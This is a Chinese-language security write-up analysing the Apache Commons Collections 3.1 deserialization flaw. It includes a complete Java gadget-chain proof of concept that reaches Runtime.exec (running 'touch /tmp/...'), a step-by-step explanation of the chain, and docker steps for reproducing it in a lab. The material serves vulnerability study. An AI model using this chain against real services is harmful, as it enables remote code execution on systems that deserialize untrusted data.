Apache Commons Collections反序列化漏洞分析与复现

阅读量395534

发布时间 : 2020-12-03 11:00:13

 

漏洞分析

存在安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。

POC核心代码:

package com.patrilic.vul;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
 
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class EvalObject {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
//                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})
        };
 
 
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);
//        transformerChain.transform(null);
 
 
        //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
 
 
//        //触发漏洞
//        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//        onlyElement.setValue("foobar");
 
 
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
 
 
        Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
 
 
        //将ins序列化
        ByteArrayOutputStream exp = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(exp);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
 
 
        //取出序列化的数据流进行反序列化,验证
        ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(out);
        Object obj = (Object) ois.readObject();
 
 
//    }
//}
    }
}

 

漏洞利用思路:

Transformer接口-实现类-InvokerTransformer(),可调用任何函数。

为实现Runtime.getRuntime().exec(cmd),要多次调用transformer并将当前返回结果作为下次输入信息。

为调用Runtime.getRuntime(),考虑ConstantTransformer类,它可直接将输入的参数作为输出。

ChainedTransformer作为实现类,对于接收的Transformer数组,采用自身的transform方法(参数是用户输入的)逐次处理Transformer数组对象,将其结果作为下次重复调用的输入参数。它的transform()方法即可出触发漏洞。

为寻找反序列化途径,即读进来数据被反序列化执行,则反向寻找可触发ChainedTransformer对象.transform()方法的途径。

HashMap类可以键值对方式存储数据,put(key,value)方法可存储数据。

TransformedMap类的功能是存储键值对并将其转换为transform objects,decorate()方法可创建键值对组,checkSetValue()方法会触发this.valueTransformer.transform()语句。依次反向寻找调用checkSetValue()【1】、使this.valueTransformer为ChainedTransformer对象的途径【2】。

对于【2】,TransformedMap类的静态方法decorate()可达到目标。

对于【1】,AbstractInputCheckedMapDecorator类MapEntry静态类的setValue方法会执行this.parent.checkSetValue(value),则接下来应使this.parent为TransformedMap对象【3】。

对于【3】,正向分析POC中此段代码:

Map.Entry onlyElement = (Map.Entry) 
outerMap.entrySet().iterator().next();

研究可知,执行过程中多次在AbstractInputCheckedMapDecorator类中,将TransformedMap对象赋值给this.parent,返回Map.Entry对象,正好可以执行setValue()方法,触发漏洞。

为提升通用性,必须设法使得调用反序列化方法即触发漏洞,因此,考虑寻找类对象满足“重写反序列化readObject()且执行Map类对象变量的setValue(),同时此变量可被控制赋键值数据”。AnnotationInvocationHandler类满足此需求【它对Map类型的成员变量的每个条目均调用setValue()】。

Class.forName()功能是加载类。

则再次分析,对于【1】,正向分析POC中核心代码:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
 
 
Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);
……
Object obj = (Object) ois.readObject();

研究可知,执行过程会执行MapEntry静态类的setValue方法,且会执行entrySet方法使得this.parent=TransformedMap对象,从而触发漏洞。

总的来说,正向的POC构造思路为:先构造ChainedTransformer对象,随后创建Map对象,再采用TransformedMap类实例将ChainedTransformer对象保存至Map类对象中,再通过反射方法获得经Map类对象初始化的AnnotationInvocationHandler类实例,对其进行序列化。

 

docker复现

下载制作的docker镜像,用以下命令:

docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1

设置局域网及容器ip、启动容器,例子:

(1)自定义网络

docker network create —subnet=192.168.10.1/24 testnet

(2)启动docker容器

docker run -p 8088:8088 -p 8081:8081 -it —name testt3 —hostname testt3 —network testnet —ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

在容器【Apache-Commons-Collections】中,执行命令【java -jar commons-collections-3.1.jar】,则生成文件【CommonsCollections3.1】,如下图。

 

参考资料

https://www.freebuf.com/vuls/251664.html
https://patrilic.top/2020/03/19/commons-collections-3.1%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#0x00-Build
https://www.smi1e.top/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0%E4%B9%8Bapache-commons-collections/
https://zhuanlan.zhihu.com/p/62496468
https://blog.csdn.net/chengly0129/article/details/70215018

本文由奇安信代码卫士原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/224487

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
奇安信代码卫士
分享到:微信

发表评论

奇安信代码卫士

奇安信代码卫士是国内第一家专注于软件开发安全的产品线,产品涵盖代码安全缺陷检测、软件编码合规检测、开源组件溯源检测三大方向,分别解决软件开发过程中的安全缺陷和漏洞问题、编码合规性问题、开源组件安全管控问题。微信公号:codesafe。

  • 文章
  • 387
  • 粉丝
  • 104

热门推荐

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66